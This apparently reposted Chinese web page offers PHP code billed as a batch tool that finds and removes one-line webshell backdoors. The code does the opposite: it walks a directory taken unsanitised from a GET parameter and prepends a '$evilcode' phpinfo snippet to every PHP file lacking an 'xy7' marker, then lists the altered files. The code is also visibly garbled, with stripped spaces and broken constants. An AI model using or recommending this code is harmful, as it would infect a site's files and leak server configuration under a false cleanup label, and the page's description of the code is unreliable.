用php实现批量查询清除一句话后门的代码

发布时间：2020-05-25 00:31:11 所属栏目：PHP 来源：互联网

导读：一句话后门一般简单，容易隐藏危害大，查找麻烦等。今天发现了这个Xall.php专门批量查询干掉一句话后门的代码，大家可以省去不少麻烦了

总是忘记一句话放到哪个文件里去了，直接全部干掉...
<div class="codetitle"><a style="CURSOR: pointer" data="31176" class="copybut" id="copybut31176" onclick="doCopy('code31176')"> 代码如下:<div class="codebody" id="code31176">
<?//xy7
if(!isset($dir)orempty($dir)){
$dir=str_replace('','/',dirname(FILE));
echo"<fontcolor="#00688B">".$dir."";
}else{
$dir=$_GET['dir'];
echo"<fontcolor="#00688B">".$dir."";
}
$evilcode="<?phpinfo();//xy7?>";
$testdir=opendir($dir);
while($filea=@readdir($testdir)){
if(strstr($filea,'.php')){
$fp=@fopen($filea,'r+');
if(!strstr(@fread($fp,20),'xy7')){
rewind($fp);
$old=@fread($fp,filesize($filea));
rewind($fp);
fwrite($fp,$evilcode.$old);
}
fclose($fp);
}
}
closedir($testdir);
?>

<tablewidth="100%"border="0"cellpadding="3"cellspacing="1">
<tr>
<td>被X的文件</td>
<td>时间</td>
<td>大小</td>
</tr>
<?php
$dirs=@opendir($dir);
while($file=@readdir($dirs)){
if((is_file($file))and(ereg(".php{0,1}$",$file)))
{$b="$dir/$file";
$a=@is_dir($b);
if($a=="0"){
$size=@filesize("$dir/$file");
$lastsave=@date("Y-n-dH:i:s",filectime("$dir/$file"));
echo"<tr>n";
echo"<td>$file</td>n";
echo"<td>$lastsave</td>n";
echo"<td>$sizeBytes</td>n";
}
}
}
@closedir($dirs);
?>
</table>
codzbyxuanmumu

（编辑：安卓应用网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!